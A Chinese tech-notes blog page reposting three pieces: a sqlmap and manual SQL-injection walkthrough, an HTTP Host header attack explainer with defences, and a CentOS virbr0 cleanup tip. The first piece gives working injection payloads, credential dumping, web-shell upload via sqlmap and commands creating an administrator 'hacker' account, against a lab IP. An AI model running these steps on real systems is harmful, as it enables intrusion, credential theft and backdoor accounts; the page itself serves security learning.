kk Blog —— 通用基础


date [-d @int|str] [+%s|"+%F %T"]
netstat -ltunp
sar -n DEV 1

sqlmap超详细讲解

https://blog.csdn.net/A485860941/article/details/124148554

安装

1
pip install sqlmap

什么是SQL注入

所谓SQL注入就是通过把SQL命令插入到Web表单提交或输入域名或页面请求查询的字符串,最终达到欺骗服务器执行恶意的SQL命令,假如管理员没有对id参数进行过滤那么黑客可以通过数据传输点将恶意的SQL语句带入查询.

手工注入

第一步

找到漏洞链接

第二步

获取列长度 说明目前使用的数据库表格只有3列

order by 3#

第三步

使用联合查询从而获当前用户和数据名与数据库版本

union select user(),database(),version()#

第四步

查询所有表格,我们已经知道目前所使用的数据库名是zkpy接下来我们查询表格名字

union select 1,2,table_name from information_schema.tables where table_schema=‘zkpy’#

回显出二个表格名称

第五步

我们查看表格里面列 我们先猜解admin表吧 因为admin是管理员所以我们先猜它

union select 1,2,column_name from information_schema.columns where table_name=‘admin’#

回显信息列有 id,username,password

第六步

我们进行查看username和password里面内容

union select 1,username,password from admin–+

可以看出账号是alpha密码是zkpy00Q

如果感觉手工注入麻烦的话,下面给大家带来二个工具注入sql,使用起来更简洁更方便更快,更有效率的来获取你想知道的内容

sqlmap工具注入

sqlmap是基于注入的一个工具,从而达到轻松获取内容

1
2
3
sqlmap -u "URL" --batch       --batch代表全自动 不用我们手动输入y/n

sqlmap -u "http://172.16.15.24/sqls/index.php?id=1"

有漏洞接下来我们查看当前使用的数据库

1
sqlmap -u "http://172.16.15.24/sqls/index.php?id=1" --current-db --batch

查看当前数据库使用的用户是谁

1
sqlmap -u "http://172.16.15.24/sqls/index.php?id=1" --current-user --batch

查看当前数据库是否是管理员权限

1
sqlmap -u "http://172.16.15.24/sqls/index.php?id=1" --is-dba --batch  回显True就代表是管理员

接下来我们来报表格 当前所使用的数据库是zkpy

1
sqlmap -u "http://172.16.15.24/sqls/index.php?id=1" -D zkpy --tables --batch

回显信息显示有admin表格和news表 admin为管理员所以先破解admin表

1
sqlmap -u "http://172.16.15.24/sqls/index.php?id=1" -D zkpy -T admin --columns --batch

admin表格里面有3列,分别是 id,username,password

接下来我们导出这三列内容 –batch为导出

1
sqlmap -u "http://172.16.15.24/sqls/index.php?id=1" -D zkpy -T admin -C id,username,password --dump --batch 

接下来就完毕了,成功获取用户名与密码

获取控制服务器

接下来我们使用sqlmap传递一个php脚本从而获取控制服务器

我们使用

1
sqlmap -u "http://172.16.15.24/sqls/index.php?id=1" --os-shell 来查看网页根目录

网页根目录是 C:/phpstudy/www 这是一个windows windows不区分大小写我们怎么样写都行

我们首先编辑一个木马文件 创建文件名为 shell.php

首先使用sqlmap上传文件 靶机my.ini配置文件里面必须开启这一项 否者不可上传不可读

接下来我们使用sqlmap上传一下shell.php文件

1
2
3
--file-write 是写入文件使用我们木马路径   --file-dest 是目的地 使用对方网页路径

sqlmap -u "http://172.16.15.24/sqls/index.php?id=1" --file-write "/root/shell.php" --file-dest "c:/phpstudy/www/shell.php"

然后到浏览器访问我们刚才上传的木马即可 查看php信息

1
http://172.16.15.24/shell.php?CMD=phpinfo();

查看靶机权限

1
http://172.16.15.24/shell.php?CMD=echo passthru('whoami');

创建hacker用户

1
http://172.16.15.24/shell.php?CMD=echo passthru('net user hacker 1234560.0 /add');

授予用户管理员组让hacker用户也可以享受管理员权限

1
http://172.16.15.24/shell.php?CMD=echo passthru('net localgroup administrators hacker /add');

下面查看一下hacker用户是否存在 如果存在的话是什么权限

快捷方式你也可以使用

1
2
3
http://172.16.15.24/shell.php?CMD=echo passthru('net user hacker');

http://172.16.15.24/shell.php?CMD=echo passthru('net user'); 

可以看到hacker用户存在的接下来查看一下它是什么组

接下来我们就可以任意执行代码了 也可以上传php脚本里面的include和require文件包含

HTTP Host头漏洞攻击

https://www.modb.pro/db/407727

Nginx做了反向代理,每个域名都应该是做了白名单。

什么是HTTP Host头?

从HTTP/1.1开始,HTTP Host头就是强制性的请求标头。比如我们要访问这个URL时

http://www.website.net/websecurity

浏览器会编写个Host标头的请求,"GET"请求的是页面的相对路径,"Host"就是主机头,请求的是域名或服务器地址:

1
2
GET /websecurity HTTP/1.1
Host:www.website.net

HTTP Host头的用处?

HTTP Host头的目的是帮助识别客户端想要与哪个后端组件通讯。

其实在以前,并不会有通讯错误的问题,因为每个IP地址通常只对应一个域名。

但是随着云和虚拟主机的普及,单个Web服务器可以托管多个网站或应用程序。尽管这些网站都有各自不同的域名,但很有可能共享服务器同一个IP地址,这种情况下就需要通过Host头来进行区分了。

另外种情况就是后端网站可能是托管在不同的服务器上,但是客户端和服务器之间的所有流量都要通过中间系统,比如用了负载均衡或是反向代理。在这种场景下,所有的域名都会解析为中间组件的IP,所以中间组件需要通过Host头来判断每个请求是到后端哪个服务器上。

就好比给住在公寓楼里的人寄快递,整栋大楼都有相同的街道地址,但在这个街道地址后面有许多不同的公寓,每个公寓都需要以某种方式接收正确的快递。解决此问题的一种方法是简单地在地址中包含公寓号码或收件人姓名。对于 HTTP 消息,Host 头也是类似的作用。

如何利用Host头来进行攻击?

如果网站没有以安全的方式来处理Host值的话,就极易受到攻击。一般Web应用程序通常不知道它们部署在哪个域上,当它们需要知道当前域时,很有可能会求助于Host头。如果服务器完全信任Host头,没有验证或转义它的值,攻击者可以把有害的Payload放入其中,当应用程序调用的时候,有害的Payload可能就会传导进去造成“注入”。

而这种漏洞可以造成包括:Web缓存中毒、特定功能的业务逻辑缺陷、基于路由的SSRF、SQL注入等危害。

要检测一个站点是否有这个漏洞的话有个最简单的方法就是通过BurpSuite这类工具,在客户端发送包的时候对Host进行修改,随后看是否还可以请求到目的应用程序。如果还可以正常请求到,那就说明存在注入点。

像这里,把Host完全改了,网站还可以返回200,显示正常页面

如何绕过有缺陷Host头检查?

通常来说,很少有站点会出现上面这种完全放开的现象,一般或多或少都有些过滤机制,但如果过滤做的不好,就会存在被绕过的可能性。

① 忽略端口的检验

某些过滤检查只验证域名,会忽略Host头中的端口。如果我们可以在Host头中写入非数字端口,就可以通过端口注入恶意Payload。

1
2
GET example HTTP/1.1
Host:Website.com:bad-stuff-here

② 允许任意子域

如果应用系统允许其域名下任意的子域通过,在这种情况下,可以通过子域来绕过验证。

1
2
GET example HTTP/1.1
Host:hacked-subdomain.Website.com

③ 注入重复的Host头

有的时候我们可以添加多个Host头,而且一般开发者并没有预料到这种情况而没有设置任何处理措施,这就可能导致某个Host头会覆盖掉另一个Host头的值

1
2
3
GET exampleHTTP/1.1
Host:Website.com
Host:bad-stuff-here

如果服务器端将第二个Host头优先于第一个Host头,就会覆盖掉它的值,然后中转组件会因为第一个Host头指定了正确的目标而照常转发这个请求包,这样就能绕过中间组件将Payload传递给服务器。

④ 提供绝对URL

正常情况下,"GET"的请求航采用的是相对地址,但是也允许使用绝对地址,就是将原本Host的值拼接到相对地址前面构成绝对地址,这样就可以利用Host头进行注入。

1
2
GET http://Website.com/ HTTP/1.1
Host:bad-stuff-here

⑤ 添加换行

有时候还可以通过使用空格字符缩进HTTP头来进行混淆,因为有些服务器会将缩进的标头理解为换行,而将其视为前面头值的一部分,有些服务器会完全忽略缩进的HTTP头,因此不同系统处理HTTP头可能会存在不一致的现象。

1
2
3
GET example HTTP/1.1
Host:bad-stuff-here
Host:Website.com

如果前端忽略缩进的头部,这个请求会被作为普通请求来处理。假设后端忽略前导空格优先考虑第一个Host头,这种不一致性会导致Payload的注入。

⑥ 利用可覆盖Host的请求头

有一些请求头的值是可以覆盖Host的值的,比如X-Forwarded-Host,当我们发出这样的请求时就会触发覆盖

1
2
3
GET exampleHTTP/1.1
Host:Website.com
X-Forwarded-Host:bad-stuff-here

可以达到相同目的的还有这些头

1
2
3
4
X-Host
X-Forwarded-Server
X-HTTP-Host-Override
Forwarded

如何防止HTTP Host头攻击?

要防止HTTP Host头攻击,最简单的方法就是避免在服务器端代码中完全使用Host头,不进行任何引入。如果确实要使用Host值的话,还有些其他的方法:

① 保护绝对URL

当必须要使用绝对URL时,应该在配置文件中手动指定当前域进行引用,而不是直接引用Host值。

② 验证Host头

如果必须使用Host头,确保进行正确的验证。应该根据允许域的白名单进行检查,并拒绝任何无法识别的主机请求。

③ 不支持Host覆盖头

检查下是否不支持可用于构建这些攻击的其他头也很重要,特别是X-Forwarded-Host,默认情况下可能支持这些功能。

④ 白名单允许的域

为了防止对内部服务器基于路由的攻击,在配置负载均衡或反向代理后,通过白名单允许域对请求进行转发。

⑤ 小心使用仅限内部访问的虚拟主机

使用虚拟主机时,应避免在同一服务器上托管仅供内部使用的网站和应用程序作为面向公众的内容。攻击者有可能能够通过Host头操作访问内部域。

Centos7下删除virbr0网卡信息的方法

https://www.jb51.net/os/RedHat/543581.html

bridge模式改为普通模式后,查看网卡的时候还是可以看到很多垃圾信息,想彻底删除自己不想要的网卡配置信息,操作如下:

查看网络列表:

1
2
3
4
[root@linux-node1 ~]# virsh net-list
 Name                 State      Autostart     Persistent
----------------------------------------------------------
 default              active     yes           yes

使用 virsh net-destroy default 删除

1
2
[root@linux-node1 ~]# virsh net-destroy default
Network default destroyed

从配置文件中剔除

1
2
[root@linux-node1 ~]# virsh net-undefine default
Network default has been undefined

重启libvirtd服务

1
2
3
4
[root@linux-node1 ~]# systemctl restart libvirtd.service
[root@linux-node1 ~]# virsh net-list
 Name                 State      Autostart     Persistent
----------------------------------------------------------

再次查看,发现不必要的信息已经清除,清爽多了

dnsmasq不会自动停

1
2
3
4
service libvirtd stop
systemctl stop libvirtd.service

service libvirtd status

还是有dnsmasq进程,手动kill